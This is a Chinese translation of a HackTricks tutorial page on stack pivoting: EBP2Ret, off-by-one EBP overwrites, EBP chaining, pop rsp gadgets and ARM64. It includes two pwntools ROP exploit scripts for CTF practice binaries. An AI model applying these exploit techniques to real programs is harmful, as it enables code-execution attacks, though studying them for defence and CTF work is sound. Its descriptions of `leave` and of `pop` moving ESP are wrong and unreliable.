# 栈枢轴 - EBP2Ret - EBP链接
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 基本信息
这种技术利用了操纵**基指针(EBP)**的能力,通过精心使用EBP寄存器和**`leave; ret`**指令序列来链接多个函数的执行。
作为提醒,**`leave`**基本上意味着:
```
mov ebp, esp
pop ebp
ret
```
### EBP2Ret
这种技术在你可以**改变 EBP 寄存器但无法直接改变 EIP 寄存器**时特别有用。它利用了函数执行完毕时的行为。
如果在 `fvuln` 执行期间,你成功地在栈中注入一个指向内存中你的 shellcode 地址的**伪造 EBP**(再加上 4 个字节以考虑 `pop` 操作),你就可以间接控制 EIP。当 `fvuln` 返回时,ESP 被设置为这个精心构造的位置,随后的 `pop` 操作将 ESP 减少 4,**有效地使其指向攻击者在其中存储的地址。**\
注意你**需要知道 2 个地址**:ESP 将要到达的地址,你需要在那里写入 ESP 指向的地址。
#### 攻击构造
首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。
然后,你需要知道 `ret` 使用的地址,将**执行任意代码**。你可以使用:
* 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 地址。
* **`system()`** 地址,后跟**4 个无效字节**和 `"/bin/sh"` 地址(x86 位)。
* 一个**`jump esp;`** gadget 地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后跟要执行的**shellcode**。
* 一些 [**ROP**](../rop-return-oriented-programing/) 链
请记住,在受控内存部分的任何这些地址之前,必须有**`4` 个字节**,因为 `leave` 指令的 `pop` 部分。可以滥用这 4B 来设置**第二个伪造 EBP**并继续控制执行。
#### Off-By-One Exploit
这种技术的一个特定变体称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同,允许在更受限制的条件下进行类似的操作。\
通常修改字节 0x00 以跳转尽可能远。
此外,通常在栈中使用 RET 滑梯,并将真正的 ROP 链放在末尾,以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。
### **EBP 链接**
因此,在栈的 `EBP` 条目中放置一个受控地址,并在 `EIP` 中放置一个指向 `leave; ret` 的地址,就可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。
现在,**`ESP`** 被控制,指向一个期望的地址,下一个要执行的指令是 `RET`。为了滥用这一点,可以在受控 ESP 位置放置以下内容:
* **`&(下一个伪造 EBP)`** -> 加载新的 EBP,因为 `leave` 指令中的 `pop ebp`
* **`system()`** -> 被 `ret` 调用
* **`&(leave;ret)`** -> 在 system 结束后调用,它将移动 ESP 到伪造 EBP 并重新开始
* **`&("/bin/sh")`**-> `system` 的参数
基本上,通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。
这就像一个 [ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
此外,这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术和一个**栈泄漏**来调用一个获胜函数。这是页面上的最终有效载荷:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP可能不会被使用
正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件被编译时进行了一些优化,**EBP永远无法控制ESP**,因此,任何通过控制EBP来工作的利用都基本上会失败,因为它没有任何真正的效果。\
这是因为如果二进制文件被优化了,**函数的前导和尾声会发生变化**。
* **未优化:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **优化:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## 控制 RSP 的其他方法
### **`pop rsp`** 机关
[**在这个页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)中,您可以找到使用这种技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp` 机关**以及**来自堆栈的泄漏**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \, rsp 交换指令
```
pop <=== return pointer
xchg , rsp
```
### jmp esp
在这里查看ret2esp技术:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
## 参考资料和其他示例
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64位,通过一个以ret sled开头的rop链进行的一个利用
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64位,无relro,canary,nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的泄漏。首先获取堆栈泄漏,然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用`.fini_array`条目+调用`__libc_csu_fini`的永久循环([更多信息请参见此处](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。通过滥用这种“永久”写入,在.bss中编写了一个ROP链,并最终调用它通过RBP进行枢轴转换。
## ARM64
在ARM64中,函数的**入口和出口**不会在堆栈中存储和检索SP寄存器。此外,**`RET`**指令不会返回到SP指向的地址,而是**返回到`x30`内的地址**。
因此,默认情况下,仅仅滥用出口,您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP,您仍需要一种方法来**控制`x30`**寄存器。
* 入口
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP指向帧记录
```
* 出口
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
{% hint style="danger" %}
在ARM64中执行类似于堆栈枢轴的方法是能够**控制`SP`**(通过控制某个将值传递给`SP`的寄存器或者因为某种原因`SP`正在从堆栈中获取其地址并且我们有一个溢出)然后滥用出口从**受控`SP`**加载**`x30`**寄存器并**`RET`**到它。
{% endhint %}
此外,在以下页面中,您可以看到ARM64中**Ret2esp的等效**:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}